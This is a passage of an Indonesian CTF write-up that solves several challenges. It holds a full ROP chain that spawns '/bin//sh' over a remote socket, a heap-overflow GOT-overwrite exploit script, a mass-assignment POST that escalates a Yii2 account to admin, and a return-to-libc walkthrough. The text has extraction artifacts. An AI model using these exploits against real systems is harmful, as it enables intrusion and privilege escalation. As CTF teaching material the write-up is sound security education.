if​​ ​i​ ​==​​ ​a​ ​or​​ ​j​ ​==​​ ​b​ ​or​​ ​j​ ​==​​ ​i​ ​+​ ​(b​ ​-​ ​a)​ ​or​​ ​(i​ ​==​​ ​a
+​​ ​x​ ​and​​ ​j​ ​==​​ ​b​ ​-​ ​x):
if​​ ​papan[i][j]:
return​​ ​0

return​​ ​1

def​​ ​solution​(papan,​ ​N,​ ​j):


if​​ ​j​ ​==​​ ​N:
return​​ ​1

for​​ ​i​ ​in​​ ​range​(N):


if​​ ​cek_lokasi(papan,N,​ ​i,​ ​j):
papan[i][j]​ ​=​ ​1

if​​ ​solution(papan,​ N ​ ,​ ​j​ ​+​ ​1​):


return​​ ​1
else​:
papan[i][j]​ ​=​ ​0
return​​ ​0

def​​ ​cetak_papan​():
for​​ ​i​ ​in​​ ​range​(​len​(papan)):
for​​ ​j​ ​in​​ ​range​(​len​(papan)):
if​​ ​papan[i][j]:
kirim​ ​=​ ​str​(i)​ ​+​ ​"​ ​"​ ​+​ ​str​(j)
a​.​sendline(kirim)

a​ ​=​ ​remote(​'45.127.134.29'​,​ ​30102​)

print​​ ​a​.​recvuntil(​'Ayo​ ​selesaikan​ ​20​ ​alokasi​ ​penangkarannya.​ ​Kamu


akan​ ​dapat​ ​hadiah​ ​jika​ ​berhasil.'​)
for​​ ​i​ ​in​​ ​range​(​20​):
hasil​ ​=​ ​a​.​recvuntil(​'meter​ ​persegi'​)
print​​ ​hasil
N​ ​=​ ​int​(hasil​.​split()[​-3​])
bikin_papan(N)
solution(papan,​ ​N,​ ​0​)
cetak_papan()
papan​ ​=​ ​[]

print​​ ​a​.​recvuntil(​'tas​ ​kulit​ ​buaya'​)

#​ P
​ adding​ ​goes​ ​here
p​ ​=​ ​'a'​*520

p​ ​+=​​ ​pack(​'<Q'​,​ ​0x00401b66​)​ ​#​ ​:​ ​pop​ ​rdi;​ ​ret


p​ ​+=​​ ​p64(​0xb16​)​ ​#​ ​isi​ ​dengan​ ​id​ ​yang​ ​punya​ ​flagnya
p​ ​+=​​ ​pack(​'<Q'​,​ ​0x00401c87​)​ ​#​ ​pop​ ​rsi​ ​;​ ​ret
p​ ​+=​​ ​p64(​0xb16​)​ ​#​ ​isi​ ​dengan​ ​id​ ​yang​ ​punya​ ​flagnya
p​ ​+=​​ ​pack(​'<Q'​,​ ​0x00443ef6​)​ ​#​ ​pop​ ​rdx;​ ​ret
p​ ​+=​​ ​p64(​0xb16​)​ ​#​ ​isi​ ​dengan​ ​id​ ​yang​ ​punya​ ​flagnya

p​ ​+=​​ ​pack(​'<Q'​,​ ​0x0046f9b0​)​ ​#​ ​mov​ ​rax,​ ​1


for​​ ​i​ ​in​​ ​range​(​116​):
p​ ​+=​​ ​pack(​'<Q'​,​ ​0x0046f980​)​ ​#​ ​add​ ​rax,​ ​1
p​ ​+=​​ ​pack(​'<Q'​,​ ​0x00000000004706e5​)​ ​#​ ​syscall​ ​;​ ​ret

p​ ​+=​​ ​pack(​'<Q'​,​ ​0x0000000000401c87​)​ ​#​ p ​ op​ ​rsi​ ; ​ ​ r​ et


p​ ​+=​​ ​pack(​'<Q'​,​ ​0x00000000006cc080​)​ ​#​ @ ​ ​ ​.data
p​ ​+=​​ ​pack(​'<Q'​,​ ​0x0000000000481a46​)​ ​#​ p ​ op​ ​rax​ ;​ ​ p​ op​ ​rdx​ ​;​ ​pop​ ​rbx​ ​;
ret
p​ ​+=​​ ​'/bin//sh'
p​ ​+=​​ ​pack(​'<Q'​,​ ​0x4141414141414141​)​ ​#​ ​padding
p​ ​+=​​ ​pack(​'<Q'​,​ ​0x4141414141414141​)​ ​#​ ​padding
p​ ​+=​​ ​pack(​'<Q'​,​ ​0x000000000047d4f1​)​ ​#​ ​mov​ ​qword​ ​ptr​ ​[rsi],​ r ​ ax​ ;​ ​ r​ et
p​ ​+=​​ ​pack(​'<Q'​,​ ​0x0000000000401c87​)​ ​#​ ​pop​ ​rsi​ ​;​ ​ret
p​ ​+=​​ ​pack(​'<Q'​,​ ​0x00000000006cc088​)​ ​#​ ​@​ ​.data​ ​+​ ​8
p​ ​+=​​ ​pack(​'<Q'​,​ ​0x000000000042760f​)​ ​#​ ​xor​ ​rax,​ ​rax​ ​;​ ​ret
p​ ​+=​​ ​pack(​'<Q'​,​ ​0x000000000047d4f1​)​ ​#​ ​mov​ ​qword​ ​ptr​ ​[rsi],​ r​ ax​ ;​ ​ r​ et
p​ ​+=​​ ​pack(​'<Q'​,​ ​0x0000000000401b66​)​ ​#​ ​pop​ ​rdi​ ​;​ ​ret
p​ ​+=​​ ​pack(​'<Q'​,​ ​0x00000000006cc080​)​ ​#​ ​@​ ​.data
p​ ​+=​​ ​pack(​'<Q'​,​ ​0x0000000000401c87​)​ ​#​ ​pop​ ​rsi​ ​;​ ​ret
p​ ​+=​​ ​pack(​'<Q'​,​ ​0x00000000006cc088​)​ ​#​ ​@​ ​.data​ ​+​ ​8
p​ ​+=​​ ​pack(​'<Q'​,​ ​0x0000000000443ef6​)​ ​#​ ​pop​ ​rdx​ ​;​ ​ret
p​ ​+=​​ ​pack(​'<Q'​,​ ​0x00000000006cc088​)​ ​#​ ​@​ ​.data​ ​+​ ​8
p​ ​+=​​ ​pack(​'<Q'​,​ ​0x000000000042760f​)​ ​#​ ​xor​ ​rax,​ ​rax​ ​;​ ​ret
for​​ ​i​ ​in​​ ​range​(​59​):
p​ ​+=​​ ​pack(​'<Q'​,​ ​0x000000000046f980​)​ ​#​ ​add​ ​rax,​ ​1​ ​;​ ​ret
p​ ​+=​​ ​pack(​'<Q'​,​ ​0x00000000004706e5​)​ ​#​ ​syscall​ ​;​ ​ret

a​.​sendline(p)
a​.​interactive()

   
Cacah​ ​Jiwa 
Tags:​​ ​heap​ ​overflow,​ ​struct,​ ​GOT​ ​overwrite
File:
curl​ ​-Ls​ ​https://git.io/vdfPr​​ ​|​ ​base64​ ​-d​ ​>​ ​cacah.tar.gz

Target:
nc​ ​45.127.134.29​ ​30103

Solusi:
Diberikan​ ​sebuah​ ​binary​ ​32​ ​bit​ ​yang​ ​akan​ ​terus​ ​-​ ​menerus​ ​meminta​ ​inputan​ ​berupa​ ​nama.
Pseudocode​ ​dari​ ​program​ ​tersebut​ ​adalah​ ​seperti​ ​berikut.

int​ ​__cdecl​ ​__noreturn​ ​main(int​ ​argc,​ ​const​ ​char​ ​**argv,​ ​const​ ​char
**envp)
{
​ ​ ​void​ ​*v3;​ ​//​ ​ST18_4@2
​ ​ ​char​ ​**v4;​ ​//​ ​ST14_4@2

​ ​ i ​ nit();
​ ​ ​welcome();
​ ​ ​while​ ​(​ ​1​ ​)
​ ​ ​{
​ ​ ​ ​ ​v3​ ​=​ ​malloc(8u);
​ ​ ​ ​ ​*(_DWORD​ ​*)v3​ ​=​ ​malloc(8u);
​ ​ ​ ​ ​*((_DWORD​ ​*)v3​ ​+​ ​1)​ ​=​ ​1;
​ ​ ​ ​ ​v4​ ​=​ ​(char​ ​**)malloc(8u);
​ ​ ​ ​ ​*v4​ ​=​ ​(char​ ​*)malloc(8u);
​ ​ ​ ​ ​*((_DWORD​ ​*)v3​ ​+​ ​1)​ ​=​ ​2;
​ ​ ​ ​ ​printf("Nama​ ​suami​ ​:​ ​");
​ ​ ​ ​ ​gets(*(char​ ​**)v3);
​ ​ ​ ​ ​printf("Nama​ ​istri​ ​:​ ​");
​ ​ ​ ​ ​gets(*v4);
​ ​ ​ ​ ​fflush(stdin);
​ ​ ​}
}

Selain​ ​itu,​ ​terdapat​ ​fungsi​ ​libc_main()​ ​yang​ ​akan​ ​langsung​ ​memanggil​ ​system(“/bin/sh”).​ ​Dapat
disimpulkan,​ ​tujuannya​ ​adalah​ ​dengan​ ​memanggil​ ​fungsi​ ​tersebut.

Challenge​ ​ini​ ​termasuk​ ​ke​ ​dalam​ ​kategori​ ​heap​ ​di​ ​mana​ ​alokasi​ ​memori​ ​dilakukan​ ​di​ ​heap​ ​yang
dipanggil​ ​melalui​ ​malloc()​.​ ​Melalui​ ​debugger,​ ​kita​ ​dapat​ ​melihat​ ​lokasi​ ​tempat​ ​inputan​ ​kita
berada.
Ketika​ ​fungsi​ ​malloc()​ ​dipanggil,​ ​terlihat​ ​bahwa​ ​alokasinya​ ​berada​ ​di​ ​0x804b008​ ​dan​ ​0x804b028
untuk​ ​masing​ ​-​ ​masing​ ​malloc()​ ​yang​ ​dipanggil.​ ​Isi​ ​heap​ ​di​ ​dalam​ ​alamat​ ​tersebut​ ​adalah
sebagai​ ​berikut​ ​ketika​ ​fungsi​ ​gets()​ ​kedua​ ​dipanggil.

gdb-peda$​ ​x/40x​ ​0x804b008


0x804b008: 0x0804b018 0x00000002 0x00000000 0x00000011
0x804b018: 0x61616161 0x00000000 0x00000000 0x00000011
0x804b028: 0x0804b038 0x00000000 0x00000000 0x00000011
0x804b038: 0x62626262 0x00000000 0x00000000 0x00000409
0x804b048: 0x62626262 0x0000000a 0x00000000 0x00000000
0x804b058: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b068: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b078: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b088: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b098: 0x00000000 0x00000000 0x00000000 0x00000000

​ ets()​ ​untuk​ ​meletakkan


Bagian​ ​yang​ ​ditebalkan​ ​tersebut​ ​adalah​ ​lokasi​ ​yang​ ​dibaca​ ​oleh​ g
inputan​ ​yang​ ​diberikan.​ ​Dikarenakan​ ​fungsi​ ​gets()​ ​tidak​ ​membatasi​ ​inputan,​ ​maka​ ​input​ ​yang
kita​ ​berikan​ ​pada​ ​pemanggilan​ ​gets()​ ​pertama​ ​dapat​ ​menimpa​ ​nilai​ ​pada​ ​alamat​ ​0x804b028
yaitu​ ​0x0804b038​ ​sehingga​ ​ketika​ ​nilai​ ​gets()​ ​kedua​ ​dipanggil,​ ​maka​ ​kita​ ​dapat​ ​menulis​ ​apa
saja​ ​ke​ ​mana​ ​saja.

Fungsi​ ​yang​ ​dipanggil​ ​setelah​ ​gets()​ ​kedua​ ​ini​ ​adalah​ f​ flush(stdin)​.​ ​Oleh​ ​karena​ ​itu,​ ​kita​ ​dapat
melakukan​ ​GOT​ ​overwrite​ ​pada​ f​ flush(stdin)​ ​sehingga​ ​ketika​ ​fflush(stdin)​ ​dipanggil,​ ​yang
terpanggil​ ​adalah​ ​fungsi​ ​libc_main()​ ​yang​ ​berisi​ ​system(“/bin/sh”)​ ​untuk​ ​mendapatkan​ ​shell​.

Berikut​ ​script​ ​yang​ ​dibuat​ ​oleh​ ​problem​ ​setter​.

from​​ ​pwn​​ ​import​​ ​*

context(arch​=​'i386'​,​ ​bits​=32​,​ ​os​=​'linux'​)


a​ ​=​ ​process(​'./cacah'​)

print​​ ​a​.​recvuntil(​'Nama​ ​suami​ ​:​ ​'​)


a​.​sendline(​'a'​*16​​ ​+​ ​p32(​0x0804a010​))

print​​ ​a​.​recvuntil(​'Nama​ ​istri​ ​:​ ​'​)


a​.​sendline(p32(​0x08048598​))

a​.​interactive()
How​ ​to​ ​Blog 
Tags:​​ ​mass​ ​assignment,​ ​yii,​ ​mvc​ ​framework
File:
curl​ ​-Ls​ ​https://git.io/vdfPR​​ ​|​ ​base64​ ​-d​ ​>​ ​blog.tar.gz

Target:
http://45.127.134.29:30104/

Solusi:
Diberikan​ ​suatu​ ​web​ ​service.​ ​Web​ ​berikut​ ​dibuat​ ​dengan​ ​menggunakan​ ​framework​ ​ ​PHP​ ​Yii2.

Jika​ ​kita​ ​mencoba​ ​melakukan​ ​registrasi,​ ​kemudian​ ​melakukan​ l​ ogin​ ​maka​ ​tampilan​ ​halaman
utama​ ​menjadi​ ​seperti​ ​ini.
Perhatikan​ ​baik-baik​ ​role​ ​yang​ ​diberikan​ ​pada​ ​tescoba​​ ​adalah​ ​sebagai​ ​user​.​ ​Kita​ ​juga​ ​bisa
memastikan​ ​dengan​ ​melihat​ ​source​ ​code​ ​yang​ ​diberikan​ ​bahwa​ ​siapa​ ​pun​ ​yang​ ​mendaftar
melalui​ ​halaman​ ​registrasi​ ​akan​ ​diberikan​ ​default​ ​role​ ​sebagai​ ​user​.

/*​ ​file:​ ​@app/models/UsersDB.php​ ​*/

class​​ ​UsersDB​​ ​extends​​ ​\yii\db\ActiveRecord


{
​ ​ ​ ​ ​…

​ ​ ​ ​ ​public​​ ​function​​ ​rules​()


​ ​ ​ ​ ​{
​ ​ ​ ​ ​ ​ ​ ​ ​return​​ ​[
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​[[​'username'​,​ ​'password'​],​​ ​'required'​],
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​[​'role'​,​ ​'default'​,​ ​'value'​=>​'user'​]​,
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​[[​'username'​,​ ​'password'​],​​ ​'string'​,​ ​'max'​​ ​=>​​ ​255​,​ ​'min'​​ ​=>​​ ​4​],
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​[[​'role'​],​​ ​'string'​,​ ​'max'​​ ​=>​​ ​5​],
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​[​'username'​,​ ​'checkExist'​],
​ ​ ​ ​ ​ ​ ​ ​ ​];
​ ​ ​ ​ ​}

​ ​ ​ ​ ​public​​ ​function​​ ​attributeLabels​()


​ ​ ​ ​ ​{
​ ​ ​ ​ ​ ​ ​ ​ ​return​​ ​[
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​'id'​​ ​=>​​ ​'ID',
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​'username'​​ ​=>​​ ​'Username',
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​'password'​​ ​=>​​ ​'Password',
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​'role'​​ ​=>​​ ​'Role',
​ ​ ​ ​ ​ ​ ​ ​ ​];
​ ​ ​ ​ ​}

​ ​ ​ ​ ​...
}

Jika membuka ​file ​UsersDB.php yang terletak di folder ​models​, kemudian melihat fungsi
rules()​, di sana tertulis atribut ​role memiliki nilai ​default yaitu ‘​user​’ (sintaks yang disorot dengan
warna kuning). Kita juga dapat melihat fungsi di bawahnya, yaitu fungsi ​attributeLabels() ​yang
mendefinisikan label untuk setiap atribut. Karena ini merupakan ​file model ​ActiveRecord,​ maka
file​ ​model​ ​ini​ ​mendefinisikan​ ​bentuk​ ​dari​ ​tabel​ ​yang​ ​ada​ ​di​ ​basisdata.

Kemudian​ ​perhatikan​ ​juga​ ​file​ ​SiteController.php​​ ​yang​ ​terletak​ ​di​ ​folder​ ​controllers​.
/*​ ​file:​ ​@app/controllers/SiteController.php​ ​*/

class​​ ​SiteController​​ ​extends​​ ​Controller


{
​ ​ ​ ​ ​ ​ ​…

​ ​ ​ ​ ​ ​ ​public​​ ​function​​ ​actionRegister​(){


​ ​ ​ ​ ​ ​ ​ ​ ​if​​ ​(!​Yii​::​$app​->​user​->​isGuest​)​ ​{
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​return​​ ​$this​->​goHome​();
​ ​ ​ ​ ​ ​ ​ ​ ​}

​ ​ ​ ​ ​ ​ ​ ​ $ ​ model​ ​=​ ​new​​ ​UsersDB​();


​ ​ ​ ​ ​ ​ ​ ​ ​if​​ ​(​Yii​::​$app​->​request​->​post​())​​ ​{
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​if​(​$model​->​load​(​Yii​::​$app​->​request​->​post​())​​ ​&&​​ ​$model​->​save​()​){
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​Yii​::​$app​->​session​->​setFlash​(​'message'​,​ ​'<div​ ​class="alert
alert-success">Register​ ​Success</div>'​);
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​}​else​{
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​Yii​::​$app​->​session​->​setFlash​(​'message'​,​ ​'<div​ ​class="alert
alert-error">Register​ ​Failed</div>'​);
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​}
​ ​ ​ ​ ​ ​ ​ ​ ​}
​ ​ ​ ​ ​ ​ ​ ​ ​return​​ ​$this​->​render​(​'register'​,​ ​[
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​'model'​​ ​=>​​ ​$model​,
​ ​ ​ ​ ​ ​ ​ ​ ​]);
​ ​ ​ ​ ​}
​ ​ ​ ​ ​…
}

Dari ​file tersebut, kita bisa memahami ​logic dari proses registrasi. Proses registrasi dilakukan
dengan me-​load data yang dikirimkan melalui HTTP POST ke ​file ​model, yaitu ​UsersDB.php​,
sehingga atribut-atribut yang ada di ​file UsersDB akan terisi dengan data yang dikirimkan dari
HTTP POST tersebut. Setelah data berhasil di-​load ke ​file model, kemudian dilakukan proses
penyimpanan ke basisdata. Perhatikan sintaks yang disorot dengan warna kuning,
$model->save() ​akan melakukan proses ​insert ke basisdata berdasarkan semua data yang
dikirimkan melalui HTTP POST. Proses ini disebut sebagai ​massive assignment​, yaitu
melakukan​ ​proses​ ​insert​/​update​ ​langsung​ ​untuk​ ​semua​ ​kolom​ ​yang​ ​ada​ ​pada​ ​suatu​ ​tabel.

Karena data yang dikirimkan melalui HTTP POST hanya ​username dan ​password​, maka nilai
yang​ ​diisikan​ ​ke​ ​atribut-atribut​ ​yang​ ​ada​ ​di​ ​file​ ​model​ ​adalah​ ​sebagai​ ​berikut.
● username​ ​=>​ ​input_user​ ​(dari​ ​HTTP​ ​POST)
● password​ ​=>​ ​input_user​ ​(dari​ ​HTTP​ ​POST)
● role​ ​=>​ ​user​ ​(default​ ​value)

Berikut​ ​diberikan​ ​contoh​ ​HTTP​ ​POST​ ​yang​ ​dikirimkan​ ​saat​ ​proses​ ​registrasi.
POST​ ​/​register​​ ​HTTP​/​1.1
Host​:​ ​45.127.134.29​:​30104
Proxy​-​Connection​:​ ​keep​-​alive
Content​-​Length​:​ ​175
Cache​-​Control​:​ ​max​-​age​=0
Origin​:​ ​http​:​//45.127.134.29:30104
Upgrade​-​Insecure​-​Requests​:​ ​1
Content​-​Type​:​ ​application​/​x​-​www​-​form​-​urlencoded
User​-​Agent​:​ ​Mozilla​/​5.0​​ ​(​Windows​​ ​NT​ ​10.0​;​ ​Win64​;​ ​x64​)​ ​AppleWebKit​/​537.36​​ ​(​KHTML​,​ ​like​ ​Gecko​)
Chrome​/​61.0​.​3163.100​​ ​Safari​/​537.36
Accept​:
text​/​html​,​application​/​xhtml​+​xml​,​application​/​xml​;​q​=​0.9​,​image​/​webp​,​image​/​apng​,*​/*;q=0.8
Referer​:​ ​http​:​//45.127.134.29:30104/register
Accept​-​Encoding​:​ ​gzip​,​ ​deflate
Accept​-​Language​:​ ​en​-​US​,​en​;​q​=​0.8​,​id​;​q​=​0.6​,​ms​;​q​=​0.4​,​uz​;​q​=​0.2​,​la​;​q​=​0.2
Cookie​:​ ​_ga​=​GA1​.​3.1677694908​.​1496460416​;
_csrf​=​31b610bde53c6f4aa05fbf79342d574b1b84dcd1581155928482b2f5f341b346a​%​3A2​%​3A​%​7Bi​%​3A0​%​3Bs​%​3
A5​%​3A​%​22​_csrf​%​22​%​3Bi​%​3A1​%​3Bs​%​3A32​%​3A​%​22UP5tbAbuVzAYiQO7THG5TSyacCwel0Wl​%​22​%​3B​%​7D​;
PHPSESSID​=​f1m38i4l34cvji6fe9nd41ru30

_csrf​=​nDqPFmEpWlPXZIEn3PNY_A0eBbk_fa1Uaf6​-​FVIP7Y7JarpiA2g4JoEewH61ohfLWVZCjGsu1DUKvclwPj​-​64g
%​3D​%​3D​&​UsersDB​%​5Busername​%​5D​=​tescoba​&​UsersDB​%​5Bpassword​%​5D​=​tescoba​&​register​-​button=

Coba perhatikan baik-baik teks yang disorot. Data POST yang dikirimkan jika dilihat pada
request​ ​header​ ​tersebut​ ​berbentuk​ ​seperti​ ​berikut.

UsersDB[username]=tescoba&UsersDB[password]=tescoba

Jika dicermati, seharusnya kalian sudah sadar sekarang bagaimana cara Yii2 me-​load ​data
yang dikirimkan melalui HTTP POST. Karena tadi sudah didapatkan informasi bahwa kode
untuk melakukan registrasi menggunakan teknik ​massive assignment​, maka kita bisa
memanipulasi​ ​data​ ​yang​ ​dikirimkan​ ​menjadi​ ​seperti​ ​ini.

UsersDB[username]=tescoba&UsersDB[password]=tescoba&UsersDB[role]=admin

Akibatnya,​ ​saat​ ​data​ ​tersebut​ ​di-​load​ ​ke​ ​file​ ​model​ ​akan​ ​menjadi​ ​seperti​ ​berikut.
● username​ ​=>​ ​tescoba​ ​(dari​ ​HTTP​ ​POST)
● password​ ​=>​ ​tescoba​ ​(dari​ ​HTTP​ ​POST)
● role​ ​=>​ ​admin​​ ​(dari​ ​HTTP​ ​POST)

Atau dengan kata lain, kita bisa memanipulasi atribut pada suatu tabel di basisdata selain yang
ada​ ​pada​ ​form​ ​registrasi.

Jika manipulasi proses registrasi di atas berhasil (tidak menampilkan ​error​), maka saat
melakukan​ ​login​,​ ​halaman​ ​utama​ ​akan​ ​menjadi​ ​seperti​ ​ini.

Perhatikan bahwa ​role yang diberikan pada ​tescoba1 ​adalah sebagai ‘Administrator’. Pada
halaman​ ​tersebut​ ​juga​ ​terdapat​ ​tab​ ​‘Flag’​ ​yang​ ​berisikan​ ​flag​ ​untuk​ ​challenge​ ​ini.

   
Kudanil 
Tags:​ ​stack​ ​buffer​ ​overflow,​ ​return​ ​to​ ​libc
File:
curl​ ​-Ls​ ​https://git.io/vdfip​​ ​|​ ​base64​ ​-d​ ​>​ ​kudanil.tar.gz

Target:
nc​ ​45.127.134.29​ ​30105

Solusi:
Diberikan​ ​binary​ ​32​ ​bit​ ​yang​ ​not​ ​stripped​ ​dan​ ​dynamically​ ​linked.​ ​Ketika​ ​program​ ​dijalankan
terlihat​ ​sebuah​ ​huruf​ ​‘h’​ ​di​ ​ujung​ ​kiri​ ​atas​ ​dan​ ​string​ ​“/bin/su”.
Berikut​ ​adalah​ ​snippet​ ​code​ ​penting​ ​dari​ ​program

int​ ​gerak()
{
​ ​ ​int​ ​result;​ ​//​ ​eax@18
​ ​ ​char​ ​s;​ ​//​ ​[sp+5h]​ ​[bp-13h]@2
​ ​ ​char​ ​v2;​ ​//​ ​[sp+Fh]​ ​[bp-9h]@4

​ ​ i ​ f​ ​(​ ​!strcmp("h",​ ​(const​ ​char​ ​*)&unk_804B164)​ ​)


​ ​ ​ ​ ​gets(&s);
​ ​ ​else
​ ​ ​ ​ ​fgets(&s,​ ​3,​ ​stdin);
​ ​ ​v2​ ​=​ ​s;
​ ​ ​if​ ​(​ ​s​ ​!=​ ​119​ ​||​ ​y​ ​-​ ​1​ ​<​ ​0​ ​)
​ ​ ​{
​ ​ ​ ​ ​if​ ​(​ ​v2​ ​!=​ ​97​ ​||​ ​x​ ​-​ ​1​ ​<​ ​0​ ​)
​ ​ ​ ​ ​{
​ ​ ​ ​ ​ ​ ​if​ ​(​ ​v2​ ​!=​ ​115​ ​||​ ​y​ ​+​ ​1​ ​>​ ​10​ ​)
​ ​ ​ ​ ​ ​ ​{
​ ​ ​ ​ ​ ​ ​ ​ ​if​ ​(​ ​v2​ ​!=​ ​100​ ​||​ ​x​ ​+​ ​1​ ​>​ ​18​ ​)
​ ​ ​ ​ ​ ​ ​ ​ ​{
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​if​ ​(​ ​v2​ ​==​ ​99​ ​)
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​clear();
​ ​ ​ ​ ​ ​ ​ ​ ​}
​ ​ ​ ​ ​ ​ ​ ​ ​else
​ ​ ​ ​ ​ ​ ​ ​ ​{
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​++x;
​ ​ ​ ​ ​ ​ ​ ​ ​}
​ ​ ​ ​ ​ ​ ​}
​ ​ ​ ​ ​ ​ ​else
​ ​ ​ ​ ​ ​ ​{
​ ​ ​ ​ ​ ​ ​ ​ ​++y;
​ ​ ​ ​ ​ ​ ​}
​ ​ ​ ​ ​}
​ ​ ​ ​ ​else
​ ​ ​ ​ ​{
​ ​ ​ ​ ​ ​ ​--x;
​ ​ ​ ​ ​}
​ ​ ​}
​ ​ ​else
​ ​ ​{
​ ​ ​ ​ ​--y;
​ ​ ​}
​ ​ ​result​ ​=​ ​(unsigned​ ​__int8)*(&peta[21​ ​*​ ​y]​ ​+​ ​x);
​ ​ ​if​ ​(​ ​(_BYTE)result​ ​==​ ​42​ ​)
​ ​ ​{
​ ​ ​ ​ ​puts("Anda​ ​bertemu​ ​buaya​ ​putih");
​ ​ ​ ​ ​puts("W​ ​A​ ​S​ ​T​ ​E​ ​D");
​ ​ ​ ​ ​exit(0);
​ ​ ​}
​ ​ ​return​ ​result;
}

Alamat​ ​pada​ ​unk_804B164​ ​adalah​ ​string​ ​u.​ ​Untuk​ ​mengexploit​ ​kita​ ​harus​ ​mengisi​ ​pada​ ​alamat
tersebut​ ​dengan​ ​karakter​ ​h​ ​kita.​ ​Kita​ ​bisa​ ​mengasumsikan​ ​bahwa​ ​program​ ​meminta​ ​kita​ ​untuk
memindahkan​ ​karakter​ ​‘h’​ ​ke​ ​karakter​ ​‘u’​ ​agar​ ​string​ ​menjadi​ ​“/bin/sh”.

Dramaga​ ​Game​ ​Studios​ ​Present

​ ​ . ​ -''''-.​ ​_
​ ​(' '​ ​ ​'0)-/)
​ ​'..____..: \._
​ ​ ​ ​\u​ ​ ​u​ ​( '-..------._
​ ​ ​ ​| / :​ ​ ​ ​'. '--.
​ ​ ​.nn_nn/​ ​( :​ ​ ​ ​' '\
​ ​(​ ​''​ ​''​ ​/ ; . \
​ ​ ​''----'​ ​"\ : :​ ​'.
.'/ '.
/​ ​/ '.
/_| ) .\|
| /\ .​ ​'
'--.__|​ ​ ​'--._​ ​ ​, /
/'-, .'
/​ ​ ​ ​| _.'
(____\ /
\ \
Kudanil​ ​LSI​ ​Adventure
Cari​ ​dan​ ​berpetualang.​ C ​ ari​ ​kudanil​ ​misterius​ ​yang​ ​terdapat​ ​di
danau​ ​LSI
Press​ ​Any​ ​Key​ ​to​ ​Start​ G​ ame

Control
(w)​ ​keatas
(a)​ ​kekiri
(s)​ ​kebawah
(d)​ ​kekanan
(c)​ ​bersihkan​ ​layar

~~Map​ ​Danau​ ​Misterius​ ​LSI~~

Kamu​ ​hanya​ ​mempunyai​ ​28​ ​langkah

h**~~~**~**~*~~~~~~
~~~*~~~~~**~~~~**~*
~~~~~~~~~~~~~~*~*~~
**~*~~~~~~*~~***~*~
~~~~~~~*~*~~~~~~~~*
*~***~~*~*~~~~~***~
~~~~~~**~~*~*~~~~~*
~~**~*~~~~~~*~*~~~~
~~~****~~~~~~~~~~~~
**~*~~~~~*~~***~~~~
~*~~~~~~~***/bin/su

Untuk​ ​memindahkan​ ​char​ ​‘h’​ ​ke​ ​‘u’​ ​kita​ ​bisa​ ​menggunakan​ ​algoritme​ ​Breadth-First​ ​Search​ ​untuk
mendapatkan​ ​jalur​ ​tercepat​ ​dari​ ​char​ ​‘h’​ ​ke​ ​char​ ​‘u’.​ ​Bersamaan​ ​dengan​ ​itu​ ​kita​ ​juga​ ​bisa
menyimpan​ ​path​ ​dari​ ​‘h’​ ​ke​ ​‘u’​ ​dengan​ ​sedikit​ ​tambahan​ ​fungsi.

map.solution.cpp

#include​ ​<bits/stdc++.h>
using​ ​namespace​ ​std;
​ i​ f
#define​ f ​ irst
#define​ s​ c​ s ​ econd
#define​ p ​ b​ p ​ ush_back

string​ ​s[12];
bool​ ​vis[20][22]​ ​=​ ​{0},​ ​visb[20][22]​ ​=​ ​{0};

vector<pair<int,​ i ​ nt>​ > ​ ​ v ​ [22][22];


vector<pair<int,​ i ​ nt>​ > ​ ​ c ​ urPath;
stack​ ​<pair<int,​ i ​ nt>​ > ​ ​ s ​ t;

void​ ​findpath(int​ ​x,​ i​ nt​ ​y)


{
if​ ​(visb[x][y])​ r ​ eturn​ ​;
visb[x][y]​ ​=​ ​1;

if​ ​(s[x][y]​ ​==​ ​'h')​ ​{


for(auto​ ​i​ ​:​ ​curPath)​ ​{
st.push({i.fi,​ ​i.sc});
}
return​ ​;
}

for(auto​ ​i​ ​:​ ​v[x][y])​ ​{


curPath.pb(i);
findpath(i.fi,​ ​i.sc);
}
}

int​ ​main()
{
//​ ​ios;
for(int​ ​i=0;​ ​i<11;​ ​i++)​ ​{
getline(cin,​ ​s[i]);
}
queue<pair<int,​ ​pair<int,​ ​int>​ ​>​ ​>​ ​q;
q.push({0,​ ​{0,​ ​0}});

int​ ​ansx​ ​=​ ​0,​ ​ansy​ ​=​ ​0;

while(q.size())
{
int​ ​cost​ ​=​ ​q.front().fi,​ ​x​ ​=​ ​q.front().sc.fi,​ ​y​ ​=
q.front().sc.sc;​ ​q.pop();

if​ ​(x​ ​<​ ​0​ ​||​ ​y​ ​<​ ​0​ ​||​ ​x​ ​>​ ​11​ ​||​ ​y​ ​>​ ​19)​ ​continue;
if​ ​(vis[x][y])​ ​continue;
vis[x][y]​ ​=​ ​1;

if​ ​(s[x][y]​ = ​ =​ ​'u')​ ​{


ansx​ ​=​ x​ ;
ansy​ ​=​ y ​ ;
break;
}

if​ ​(x+1​ ​<​ ​11​ ​&&​ ​s[x+1][y]​ ​!=​ ​'*')


q.push({cost+1,​ ​{x+1,​ ​y}}),​ ​v[x+1][y].pb({x,​ ​y});
if​ ​(y+1​ ​<​ ​19​ ​&&​ ​s[x][y+1]​ ​!=​ ​'*')
